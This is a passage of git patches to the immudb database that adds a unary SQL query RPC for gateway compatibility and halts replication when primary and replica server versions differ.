immudb.schema.SQLExecResult - 115, // 291: immudb.schema.ImmuService.SQLQuery:output_type -> immudb.schema.SQLQueryResult - 115, // 292: immudb.schema.ImmuService.ListTables:output_type -> immudb.schema.SQLQueryResult - 115, // 293: immudb.schema.ImmuService.DescribeTable:output_type -> immudb.schema.SQLQueryResult - 100, // 294: immudb.schema.ImmuService.VerifiableSQLGet:output_type -> immudb.schema.VerifiableSQLEntry - 125, // 295: immudb.schema.ImmuService.TruncateDatabase:output_type -> immudb.schema.TruncateDatabaseResponse - 224, // [224:296] is the sub-list for method output_type - 152, // [152:224] is the sub-list for method input_type + 111, // 219: immudb.schema.ImmuService.UnarySQLQuery:input_type -> immudb.schema.SQLQueryRequest + 111, // 220: immudb.schema.ImmuService.SQLQuery:input_type -> immudb.schema.SQLQueryRequest + 137, // 221: immudb.schema.ImmuService.ListTables:input_type -> google.protobuf.Empty + 96, // 222: immudb.schema.ImmuService.DescribeTable:input_type -> immudb.schema.Table + 98, // 223: immudb.schema.ImmuService.VerifiableSQLGet:input_type -> immudb.schema.VerifiableSQLGetRequest + 124, // 224: immudb.schema.ImmuService.TruncateDatabase:input_type -> immudb.schema.TruncateDatabaseRequest + 6, // 225: immudb.schema.ImmuService.ListUsers:output_type -> immudb.schema.UserList + 137, // 226: immudb.schema.ImmuService.CreateUser:output_type -> google.protobuf.Empty + 137, // 227: immudb.schema.ImmuService.ChangePassword:output_type -> google.protobuf.Empty + 137, // 228: immudb.schema.ImmuService.ChangePermission:output_type -> google.protobuf.Empty + 137, // 229: immudb.schema.ImmuService.SetActiveUser:output_type -> google.protobuf.Empty + 137, // 230: immudb.schema.ImmuService.UpdateAuthConfig:output_type -> google.protobuf.Empty + 137, // 231: immudb.schema.ImmuService.UpdateMTLSConfig:output_type -> google.protobuf.Empty + 15, // 232: immudb.schema.ImmuService.OpenSession:output_type -> immudb.schema.OpenSessionResponse + 137, // 233: immudb.schema.ImmuService.CloseSession:output_type -> google.protobuf.Empty + 137, // 234: immudb.schema.ImmuService.KeepAlive:output_type -> google.protobuf.Empty + 120, // 235: immudb.schema.ImmuService.NewTx:output_type -> immudb.schema.NewTxResponse + 114, // 236: immudb.schema.ImmuService.Commit:output_type -> immudb.schema.CommittedSQLTx + 137, // 237: immudb.schema.ImmuService.Rollback:output_type -> google.protobuf.Empty + 137, // 238: immudb.schema.ImmuService.TxSQLExec:output_type -> google.protobuf.Empty + 115, // 239: immudb.schema.ImmuService.TxSQLQuery:output_type -> immudb.schema.SQLQueryResult + 11, // 240: immudb.schema.ImmuService.Login:output_type -> immudb.schema.LoginResponse + 137, // 241: immudb.schema.ImmuService.Logout:output_type -> google.protobuf.Empty + 29, // 242: immudb.schema.ImmuService.Set:output_type -> immudb.schema.TxHeader + 39, // 243: immudb.schema.ImmuService.VerifiableSet:output_type -> immudb.schema.VerifiableTx + 18, // 244: immudb.schema.ImmuService.Get:output_type -> immudb.schema.Entry + 41, // 245: immudb.schema.ImmuService.VerifiableGet:output_type -> immudb.schema.VerifiableEntry + 29, // 246: immudb.schema.ImmuService.Delete:output_type -> immudb.schema.TxHeader + 22, // 247: immudb.schema.ImmuService.GetAll:output_type -> immudb.schema.Entries + 29, // 248: immudb.schema.ImmuService.ExecAll:output_type -> immudb.schema.TxHeader + 22, // 249: immudb.schema.ImmuService.Scan:output_type -> immudb.schema.Entries + 27, // 250: immudb.schema.ImmuService.Count:output_type -> immudb.schema.EntryCount + 27, // 251: immudb.schema.ImmuService.CountAll:output_type -> immudb.schema.EntryCount + 35, // 252: immudb.schema.ImmuService.TxById:output_type -> immudb.schema.Tx + 39, // 253: immudb.schema.ImmuService.VerifiableTxById:output_type -> immudb.schema.VerifiableTx + 66, // 254: immudb.schema.ImmuService.TxScan:output_type -> immudb.schema.TxList + 22, // 255: immudb.schema.ImmuService.History:output_type -> immudb.schema.Entries + 50, // 256: immudb.schema.ImmuService.ServerInfo:output_type -> immudb.schema.ServerInfoResponse + 51, // 257: immudb.schema.ImmuService.Health:output_type -> immudb.schema.HealthResponse + 52, // 258: immudb.schema.ImmuService.DatabaseHealth:output_type -> immudb.schema.DatabaseHealthResponse + 53, // 259: immudb.schema.ImmuService.CurrentState:output_type -> immudb.schema.ImmutableState + 29, // 260: immudb.schema.ImmuService.SetReference:output_type -> immudb.schema.TxHeader + 39, // 261: immudb.schema.ImmuService.VerifiableSetReference:output_type -> immudb.schema.VerifiableTx + 29, // 262: immudb.schema.ImmuService.ZAdd:output_type -> immudb.schema.TxHeader + 39, // 263: immudb.schema.ImmuService.VerifiableZAdd:output_type -> immudb.schema.VerifiableTx + 24, // 264: immudb.schema.ImmuService.ZScan:output_type -> immudb.schema.ZEntries + 137, // 265: immudb.schema.ImmuService.CreateDatabase:output_type -> google.protobuf.Empty + 137, // 266: immudb.schema.ImmuService.CreateDatabaseWith:output_type -> google.protobuf.Empty + 72, // 267: immudb.schema.ImmuService.CreateDatabaseV2:output_type -> immudb.schema.CreateDatabaseResponse + 89, // 268: immudb.schema.ImmuService.LoadDatabase:output_type -> immudb.schema.LoadDatabaseResponse + 91, // 269: immudb.schema.ImmuService.UnloadDatabase:output_type -> immudb.schema.UnloadDatabaseResponse + 93, // 270: immudb.schema.ImmuService.DeleteDatabase:output_type -> immudb.schema.DeleteDatabaseResponse + 104, // 271: immudb.schema.ImmuService.DatabaseList:output_type -> immudb.schema.DatabaseListResponse + 106, // 272: immudb.schema.ImmuService.DatabaseListV2:output_type -> immudb.schema.DatabaseListResponseV2 + 101, // 273: immudb.schema.ImmuService.UseDatabase:output_type -> immudb.schema.UseDatabaseReply + 137, // 274: immudb.schema.ImmuService.UpdateDatabase:output_type -> google.protobuf.Empty + 74, // 275: immudb.schema.ImmuService.UpdateDatabaseV2:output_type -> immudb.schema.UpdateDatabaseResponse + 70, // 276: immudb.schema.ImmuService.GetDatabaseSettings:output_type -> immudb.schema.DatabaseSettings + 76, // 277: immudb.schema.ImmuService.GetDatabaseSettingsV2:output_type -> immudb.schema.DatabaseSettingsResponse + 95, // 278: immudb.schema.ImmuService.FlushIndex:output_type -> immudb.schema.FlushIndexResponse + 137, // 279: immudb.schema.ImmuService.CompactIndex:output_type -> google.protobuf.Empty + 108, // 280: immudb.schema.ImmuService.streamGet:output_type -> immudb.schema.Chunk + 29, // 281: immudb.schema.ImmuService.streamSet:output_type -> immudb.schema.TxHeader + 108, // 282: immudb.schema.ImmuService.streamVerifiableGet:output_type -> immudb.schema.Chunk + 39, // 283: immudb.schema.ImmuService.streamVerifiableSet:output_type -> immudb.schema.VerifiableTx + 108, // 284: immudb.schema.ImmuService.streamScan:output_type -> immudb.schema.Chunk + 108, // 285: immudb.schema.ImmuService.streamZScan:output_type -> immudb.schema.Chunk + 108, // 286: immudb.schema.ImmuService.streamHistory:output_type -> immudb.schema.Chunk + 29, // 287: immudb.schema.ImmuService.streamExecAll:output_type -> immudb.schema.TxHeader + 108, // 288: immudb.schema.ImmuService.exportTx:output_type -> immudb.schema.Chunk + 29, // 289: immudb.schema.ImmuService.replicateTx:output_type -> immudb.schema.TxHeader + 108, // 290: immudb.schema.ImmuService.streamExportTx:output_type -> immudb.schema.Chunk + 113, // 291: immudb.schema.ImmuService.SQLExec:output_type -> immudb.schema.SQLExecResult + 115, // 292: immudb.schema.ImmuService.UnarySQLQuery:output_type -> immudb.schema.SQLQueryResult + 115, // 293: immudb.schema.ImmuService.SQLQuery:output_type -> immudb.schema.SQLQueryResult + 115, // 294: immudb.schema.ImmuService.ListTables:output_type -> immudb.schema.SQLQueryResult + 115, // 295: immudb.schema.ImmuService.DescribeTable:output_type -> immudb.schema.SQLQueryResult + 100, // 296: immudb.schema.ImmuService.VerifiableSQLGet:output_type -> immudb.schema.VerifiableSQLEntry + 125, // 297: immudb.schema.ImmuService.TruncateDatabase:output_type -> immudb.schema.TruncateDatabaseResponse + 225, // [225:298] is the sub-list for method output_type + 152, // [152:225] is the sub-list for method input_type 152, // [152:152] is the sub-list for extension type_name 152, // [152:152] is the sub-list for extension extendee 0, // [0:152] is the sub-list for field type_name diff --git a/pkg/api/schema/schema.pb.gw.go b/pkg/api/schema/schema.pb.gw.go index 498c39ffc1..de98e2b20e 100644 --- a/pkg/api/schema/schema.pb.gw.go +++ b/pkg/api/schema/schema.pb.gw.go @@ -1642,6 +1642,40 @@ func local_request_ImmuService_SQLExec_0(ctx context.Context, marshaler runtime. } +func request_ImmuService_UnarySQLQuery_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq SQLQueryRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := client.UnarySQLQuery(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + return msg, metadata, err + +} + +func local_request_ImmuService_UnarySQLQuery_0(ctx context.Context, marshaler runtime.Marshaler, server ImmuServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq SQLQueryRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := server.UnarySQLQuery(ctx, &protoReq) + return msg, metadata, err + +} + func request_ImmuService_SQLQuery_0(ctx context.Context, marshaler runtime.Marshaler, client ImmuServiceClient, req *http.Request, pathParams map[string]string) (ImmuService_SQLQueryClient, runtime.ServerMetadata, error) { var protoReq SQLQueryRequest var metadata runtime.ServerMetadata @@ -2851,6 +2885,29 @@ func RegisterImmuServiceHandlerServer(ctx context.Context, mux *runtime.ServeMux }) + mux.Handle("POST", pattern_ImmuService_UnarySQLQuery_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + var stream runtime.ServerTransportStream + ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := local_request_ImmuService_UnarySQLQuery_0(rctx, inboundMarshaler, server, req, pathParams) + md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_ImmuService_UnarySQLQuery_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + mux.Handle("POST", pattern_ImmuService_SQLQuery_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { err := status.Error(codes.Unimplemented, "streaming calls are not yet supported in the in-process transport") _, outboundMarshaler := runtime.MarshalerForRequest(mux, req) @@ -3911,6 +3968,26 @@ func RegisterImmuServiceHandlerClient(ctx context.Context, mux *runtime.ServeMux }) + mux.Handle("POST", pattern_ImmuService_UnarySQLQuery_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := request_ImmuService_UnarySQLQuery_0(rctx, inboundMarshaler, client, req, pathParams) + ctx = runtime.NewServerMetadataContext(ctx, md) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + + forward_ImmuService_UnarySQLQuery_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...) + + }) + mux.Handle("POST", pattern_ImmuService_SQLQuery_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { ctx, cancel := context.WithCancel(req.Context()) defer cancel() @@ -4107,6 +4184,8 @@ var ( pattern_ImmuService_SQLExec_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"db", "sqlexec"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_ImmuService_UnarySQLQuery_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"db", "sqlquery"}, "", runtime.AssumeColonVerbOpt(true))) + pattern_ImmuService_SQLQuery_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1}, []string{"db", "sqlquery"}, "", runtime.AssumeColonVerbOpt(true))) pattern_ImmuService_ListTables_0 = runtime.MustPattern(runtime.NewPattern(1, []int{2, 0, 2, 1, 2, 2}, []string{"db", "table", "list"}, "", runtime.AssumeColonVerbOpt(true))) @@ -4211,6 +4290,8 @@ var ( forward_ImmuService_SQLExec_0 = runtime.ForwardResponseMessage + forward_ImmuService_UnarySQLQuery_0 = runtime.ForwardResponseMessage + forward_ImmuService_SQLQuery_0 = runtime.ForwardResponseStream forward_ImmuService_ListTables_0 = runtime.ForwardResponseMessage diff --git a/pkg/api/schema/schema.proto b/pkg/api/schema/schema.proto index 51e0942656..09b2a535dd 100644 --- a/pkg/api/schema/schema.proto +++ b/pkg/api/schema/schema.proto @@ -1931,6 +1931,14 @@ service ImmuService { }; } + // For backward compatibility with the grpc-gateway API + rpc UnarySQLQuery(SQLQueryRequest) returns (SQLQueryResult) { + option (google.api.http) = { + post: "/db/sqlquery" + body: "*" + }; + } + rpc SQLQuery(SQLQueryRequest) returns (stream SQLQueryResult) { option (google.api.http) = { post: "/db/sqlquery" diff --git a/pkg/api/schema/schema.swagger.json b/pkg/api/schema/schema.swagger.json index 1b6ff3e923..d44a4ef413 100644 --- a/pkg/api/schema/schema.swagger.json +++ b/pkg/api/schema/schema.swagger.json @@ -2154,7 +2154,7 @@ }, "txLogCacheSize": { "$ref": "#/definitions/schemaNullableUint32", - "title": "Size of the LRU cache for transaction logs" + "title": "Size of the cache for transaction logs" }, "vLogMaxOpenedFiles": { "$ref": "#/definitions/schemaNullableUint32", @@ -2206,7 +2206,7 @@ }, "vLogCacheSize": { "$ref": "#/definitions/schemaNullableUint32", - "title": "Size of the LRU cache for value logs" + "title": "Size of the cache for value logs" }, "truncationSettings": { "$ref": "#/definitions/schemaTruncationNullableSettings", @@ -2635,7 +2635,7 @@ }, "cacheSize": { "$ref": "#/definitions/schemaNullableUint32", - "title": "Size of the Btree node LRU cache" + "title": "Size of the Btree node cache" }, "maxNodeSize": { "$ref": "#/definitions/schemaNullableUint32", diff --git a/pkg/api/schema/schema_grpc.pb.go b/pkg/api/schema/schema_grpc.pb.go index 18b771ce38..2786dc831d 100644 --- a/pkg/api/schema/schema_grpc.pb.go +++ b/pkg/api/schema/schema_grpc.pb.go @@ -107,6 +107,8 @@ type ImmuServiceClient interface { ReplicateTx(ctx context.Context, opts ...grpc.CallOption) (ImmuService_ReplicateTxClient, error) StreamExportTx(ctx context.Context, opts ...grpc.CallOption) (ImmuService_StreamExportTxClient, error) SQLExec(ctx context.Context, in *SQLExecRequest, opts ...grpc.CallOption) (*SQLExecResult, error) + // For backward compatibility with the grpc-gateway API + UnarySQLQuery(ctx context.Context, in *SQLQueryRequest, opts ...grpc.CallOption) (*SQLQueryResult, error) SQLQuery(ctx context.Context, in *SQLQueryRequest, opts ...grpc.CallOption) (ImmuService_SQLQueryClient, error) ListTables(ctx context.Context, in *emptypb.Empty, opts ...grpc.CallOption) (*SQLQueryResult, error) DescribeTable(ctx context.Context, in *Table, opts ...grpc.CallOption) (*SQLQueryResult, error) @@ -1017,6 +1019,15 @@ func (c *immuServiceClient) SQLExec(ctx context.Context, in *SQLExecRequest, opt return out, nil } +func (c *immuServiceClient) UnarySQLQuery(ctx context.Context, in *SQLQueryRequest, opts ...grpc.CallOption) (*SQLQueryResult, error) { + out := new(SQLQueryResult) + err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/UnarySQLQuery", in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} + func (c *immuServiceClient) SQLQuery(ctx context.Context, in *SQLQueryRequest, opts ...grpc.CallOption) (ImmuService_SQLQueryClient, error) { stream, err := c.cc.NewStream(ctx, &ImmuService_ServiceDesc.Streams[12], "/immudb.schema.ImmuService/SQLQuery", opts...) if err != nil { @@ -1177,6 +1188,8 @@ type ImmuServiceServer interface { ReplicateTx(ImmuService_ReplicateTxServer) error StreamExportTx(ImmuService_StreamExportTxServer) error SQLExec(context.Context, *SQLExecRequest) (*SQLExecResult, error) + // For backward compatibility with the grpc-gateway API + UnarySQLQuery(context.Context, *SQLQueryRequest) (*SQLQueryResult, error) SQLQuery(*SQLQueryRequest, ImmuService_SQLQueryServer) error ListTables(context.Context, *emptypb.Empty) (*SQLQueryResult, error) DescribeTable(context.Context, *Table) (*SQLQueryResult, error) @@ -1389,6 +1402,9 @@ func (UnimplementedImmuServiceServer) StreamExportTx(ImmuService_StreamExportTxS func (UnimplementedImmuServiceServer) SQLExec(context.Context, *SQLExecRequest) (*SQLExecResult, error) { return nil, status.Errorf(codes.Unimplemented, "method SQLExec not implemented") } +func (UnimplementedImmuServiceServer) UnarySQLQuery(context.Context, *SQLQueryRequest) (*SQLQueryResult, error) { + return nil, status.Errorf(codes.Unimplemented, "method UnarySQLQuery not implemented") +} func (UnimplementedImmuServiceServer) SQLQuery(*SQLQueryRequest, ImmuService_SQLQueryServer) error { return status.Errorf(codes.Unimplemented, "method SQLQuery not implemented") } @@ -2683,6 +2699,24 @@ func _ImmuService_SQLExec_Handler(srv interface{}, ctx context.Context, dec func return interceptor(ctx, in, info, handler) } +func _ImmuService_UnarySQLQuery_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(SQLQueryRequest) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(ImmuServiceServer).UnarySQLQuery(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: "/immudb.schema.ImmuService/UnarySQLQuery", + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(ImmuServiceServer).UnarySQLQuery(ctx, req.(*SQLQueryRequest)) + } + return interceptor(ctx, in, info, handler) +} + func _ImmuService_SQLQuery_Handler(srv interface{}, stream grpc.ServerStream) error { m := new(SQLQueryRequest) if err := stream.RecvMsg(m); err != nil { @@ -3003,6 +3037,10 @@ var ImmuService_ServiceDesc = grpc.ServiceDesc{ MethodName: "SQLExec", Handler: _ImmuService_SQLExec_Handler, }, + { + MethodName: "UnarySQLQuery", + Handler: _ImmuService_UnarySQLQuery_Handler, + }, { MethodName: "ListTables", Handler: _ImmuService_ListTables_Handler, diff --git a/pkg/server/servertest/server_mock.go b/pkg/server/servertest/server_mock.go index 5994298b94..c14fd96d6e 100644 --- a/pkg/server/servertest/server_mock.go +++ b/pkg/server/servertest/server_mock.go @@ -367,6 +367,10 @@ func (s *ServerMock) SQLExec(ctx context.Context, req *schema.SQLExecRequest) (* return s.Srv.SQLExec(ctx, req) } +func (s *ServerMock) UnarySQLQuery(ctx context.Context, req *schema.SQLQueryRequest) (*schema.SQLQueryResult, error) { + return s.Srv.UnarySQLQuery(ctx, req) +} + func (s *ServerMock) SQLQuery(req *schema.SQLQueryRequest, srv schema.ImmuService_SQLQueryServer) error { return s.Srv.SQLQuery(req, srv) } diff --git a/pkg/server/sql.go b/pkg/server/sql.go index 91be91233c..f60bcf43d0 100644 --- a/pkg/server/sql.go +++ b/pkg/server/sql.go @@ -109,19 +109,28 @@ func (s *ImmuServer) SQLExec(ctx context.Context, req *schema.SQLExecRequest) (* return res, err } -func (s *ImmuServer) SQLQuery(req *schema.SQLQueryRequest, srv schema.ImmuService_SQLQueryServer) error { - db, err := s.getDBFromCtx(srv.Context(), "SQLQuery") +func (s *ImmuServer) UnarySQLQuery(ctx context.Context, req *schema.SQLQueryRequest) (*schema.SQLQueryResult, error) { + var sqlRes *schema.SQLQueryResult + err := s.sqlQuery(ctx, req, func(res *schema.SQLQueryResult) error { + sqlRes = res + return nil + }) + return sqlRes, err +} + +func (s *ImmuServer) sqlQuery(ctx context.Context, req *schema.SQLQueryRequest, send func(*schema.SQLQueryResult) error) error { + db, err := s.getDBFromCtx(ctx, "SQLQuery") if err != nil { return err } - tx, err := db.NewSQLTx(srv.Context(), sql.DefaultTxOptions().WithReadOnly(true)) + tx, err := db.NewSQLTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) if err != nil { return err } defer tx.Cancel() - reader, err := db.SQLQuery(srv.Context(), tx, req) + reader, err := db.SQLQuery(ctx, tx, req) if err != nil { return err } @@ -131,7 +140,11 @@ func (s *ImmuServer) SQLQuery(req *schema.SQLQueryRequest, srv schema.ImmuServic // for transferring less than db.MaxResultSize() rows. // As a consequence, clients which are still using the old unary rpc version of SQLQuery will get stuck because // they don't know how to handle multiple messages. - return s.streamRows(srv.Context(), reader, db.MaxResultSize(), srv.Send) + return s.streamRows(ctx, reader, db.MaxResultSize(), send) +} + +func (s *ImmuServer) SQLQuery(req *schema.SQLQueryRequest, srv schema.ImmuService_SQLQueryServer) error { + return s.sqlQuery(srv.Context(), req, srv.Send) } func (s *ImmuServer) streamRows(ctx context.Context, reader sql.RowReader, batchSize int, send func(*schema.SQLQueryResult) error) error { From 40bf1f6ceec1ee5516453fc14b6f2c40b0690fb8 Mon Sep 17 00:00:00 2001 From: Stefano Scafiti Date: Tue, 21 May 2024 17:29:37 +0200 Subject: [PATCH 1017/1062] Prevent replication with different replica and primary server versions Signed-off-by: Stefano Scafiti --- embedded/document/engine.go | 2 +- pkg/replication/options.go | 37 ++++++++++++--- pkg/replication/replicator.go | 76 ++++++++++++++++++------------ pkg/replication/replicator_test.go | 60 +++++++++++++++++++++-- 4 files changed, 134 insertions(+), 41 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 97e066ea28..4e7731e18e 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -5,7 +5,7 @@ SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at - https://mariadb.com/bsl11/ + https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, diff --git a/pkg/replication/options.go b/pkg/replication/options.go index d819d21c42..605bf23bda 100644 --- a/pkg/replication/options.go +++ b/pkg/replication/options.go @@ -19,14 +19,20 @@ package replication import ( "fmt" "time" + + "github.com/codenotary/immudb/pkg/client" +) + +const ( + DefaultChunkSize int = 64 * 1024 // 64 * 1024 64 KiB + DefaultPrefetchTxBufferSize int = 100 + DefaultReplicationCommitConcurrency int = 10 + DefaultAllowTxDiscarding = false + DefaultSkipIntegrityCheck = false + DefaultWaitForIndexing = false ) -const DefaultChunkSize int = 64 * 1024 // 64 * 1024 64 KiB -const DefaultPrefetchTxBufferSize int = 100 -const DefaultReplicationCommitConcurrency int = 10 -const DefaultAllowTxDiscarding = false -const DefaultSkipIntegrityCheck = false -const DefaultWaitForIndexing = false +type ClientFactory func(string, int) client.ImmuClient type Options struct { primaryDatabase string @@ -44,7 +50,8 @@ type Options struct { skipIntegrityCheck bool waitForIndexing bool - delayer Delayer + delayer Delayer + clientFactory ClientFactory } func DefaultOptions() *Options { @@ -63,9 +70,19 @@ func DefaultOptions() *Options { allowTxDiscarding: DefaultAllowTxDiscarding, skipIntegrityCheck: DefaultSkipIntegrityCheck, waitForIndexing: DefaultWaitForIndexing, + clientFactory: newClient, } } +func newClient(host string, port int) client.ImmuClient { + opts := client.DefaultOptions(). + WithAddress(host). + WithPort(port). + WithDisableIdentityCheck(true) + + return client.NewClient().WithOptions(opts) +} + func (opts *Options) Validate() error { if opts == nil { return fmt.Errorf("%w: nil options", ErrInvalidOptions) @@ -161,3 +178,9 @@ func (o *Options) WithDelayer(delayer Delayer) *Options { o.delayer = delayer return o } + +// WithClientFactoryFunc specifies a function to instantiate a new client +func (o *Options) WithClientFactoryFunc(clientFactory func(string, int) client.ImmuClient) *Options { + o.clientFactory = clientFactory + return o +} diff --git a/pkg/replication/replicator.go b/pkg/replication/replicator.go index 17f212dc7d..470e25e7b8 100644 --- a/pkg/replication/replicator.go +++ b/pkg/replication/replicator.go @@ -27,6 +27,7 @@ import ( "sync" "time" + "github.com/codenotary/immudb/cmd/version" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/client" @@ -42,6 +43,7 @@ var ErrAlreadyStopped = errors.New("already stopped") var ErrReplicaDivergedFromPrimary = errors.New("replica diverged from primary") var ErrNoSynchronousReplicationOnPrimary = errors.New("primary is not running with synchronous replication") var ErrInvalidReplicationMetadata = errors.New("invalid replication metadata retrieved") +var ErrPrimaryServerVersionMismatch = errors.New("primary server version does not match") type prefetchTxEntry struct { data []byte @@ -81,6 +83,7 @@ type TxReplicator struct { consecutiveFailures int running bool + err error mutex sync.Mutex @@ -123,7 +126,7 @@ func (txr *TxReplicator) handleError(err error) (terminate bool) { return false } - if errors.Is(err, ErrAlreadyStopped) || errors.Is(err, ErrReplicaDivergedFromPrimary) { + if errors.Is(err, ErrAlreadyStopped) || errors.Is(err, ErrReplicaDivergedFromPrimary) || errors.Is(err, ErrPrimaryServerVersionMismatch) { return true } @@ -168,24 +171,7 @@ func (txr *TxReplicator) Start() error { txr.running = true - go func() { - txr.logger.Infof("Replication for '%s' started fetching transaction from '%s'...", txr.db.GetName(), txr._primaryDB) - - var err error - - for { - err := txr.fetchNextTx() - if txr.handleError(err) { - break - } - } - - txr.logger.Infof("Replication for '%s' stopped fetching transaction from '%s'", txr.db.GetName(), txr._primaryDB) - - if errors.Is(err, ErrReplicaDivergedFromPrimary) { - txr.Stop() - } - }() + go txr.replicationLoop() txr.metrics.reset() @@ -209,6 +195,24 @@ func (txr *TxReplicator) Start() error { return nil } +func (txr *TxReplicator) replicationLoop() { + txr.logger.Infof("Replication for '%s' started fetching transaction from '%s'...", txr.db.GetName(), txr._primaryDB) + + var err error + for { + err = txr.fetchNextTx() + if txr.handleError(err) { + break + } + } + + txr.logger.Infof("Replication for '%s' stopped fetching transaction from '%s'", txr.db.GetName(), txr._primaryDB) + + if errors.Is(err, ErrReplicaDivergedFromPrimary) || errors.Is(err, ErrPrimaryServerVersionMismatch) { + txr.stopWithErr(err) + } +} + func (txr *TxReplicator) replicateSingleTx(data []byte) bool { txr.metrics.replicatorsActive.Inc() defer txr.metrics.replicatorsActive.Dec() @@ -270,12 +274,7 @@ func (txr *TxReplicator) connect() error { txr.opts.primaryPort, txr.db.GetName()) - opts := client.DefaultOptions(). - WithAddress(txr.opts.primaryHost). - WithPort(txr.opts.primaryPort). - WithDisableIdentityCheck(true) - - txr.client = client.NewClient().WithOptions(opts) + txr.client = txr.opts.clientFactory(txr.opts.primaryHost, txr.opts.primaryPort) err := txr.client.OpenSession( txr.context, []byte(txr.opts.primaryUsername), []byte(txr.opts.primaryPassword), txr.opts.primaryDatabase) @@ -283,6 +282,15 @@ func (txr *TxReplicator) connect() error { return err } + info, err := txr.client.ServerInfo(txr.context, &schema.ServerInfoRequest{}) + if err != nil { + txr.logger.Errorf("Connection to %s failed: unable to get primary server info: %w", txr.db.GetName(), err) + return err + } + if info.Version != version.Version { + return ErrPrimaryServerVersionMismatch + } + txr.logger.Infof("Connection to '%s':'%d' for database '%s' successfully established", txr.opts.primaryHost, txr.opts.primaryPort, @@ -336,8 +344,6 @@ func (txr *TxReplicator) fetchNextTx() error { return err } - syncReplicationEnabled := txr.db.IsSyncReplicationEnabled() - if txr.lastTx == 0 { txr.lastTx = commitState.PrecommittedTxId } @@ -346,6 +352,7 @@ func (txr *TxReplicator) fetchNextTx() error { var state *schema.ReplicaState + syncReplicationEnabled := txr.db.IsSyncReplicationEnabled() if syncReplicationEnabled { state = &schema.ReplicaState{ UUID: txr.uuid.String(), @@ -362,9 +369,6 @@ func (txr *TxReplicator) fetchNextTx() error { AllowPreCommitted: syncReplicationEnabled, SkipIntegrityCheck: txr.skipIntegrityCheck, } - if err != nil { - return err - } txr.exportTxStream.Send(req) @@ -459,6 +463,10 @@ func (txr *TxReplicator) fetchNextTx() error { } func (txr *TxReplicator) Stop() error { + return txr.stopWithErr(nil) +} + +func (txr *TxReplicator) stopWithErr(err error) error { if txr.cancelFunc != nil { txr.cancelFunc() } @@ -477,8 +485,16 @@ func (txr *TxReplicator) Stop() error { txr.disconnect() txr.running = false + txr.err = err txr.logger.Infof("Replication of database '%s' successfully stopped", txr.db.GetName()) return nil } + +func (txr *TxReplicator) Error() error { + txr.mutex.Lock() + defer txr.mutex.Unlock() + + return txr.err +} diff --git a/pkg/replication/replicator_test.go b/pkg/replication/replicator_test.go index b8cf9ef1a7..9a4d7ce0a4 100644 --- a/pkg/replication/replicator_test.go +++ b/pkg/replication/replicator_test.go @@ -17,10 +17,14 @@ limitations under the License. package replication import ( + "context" "os" "testing" + "time" "github.com/codenotary/immudb/embedded/logger" + "github.com/codenotary/immudb/pkg/api/schema" + "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/database" "github.com/rs/xid" "github.com/stretchr/testify/require" @@ -29,9 +33,6 @@ import ( func 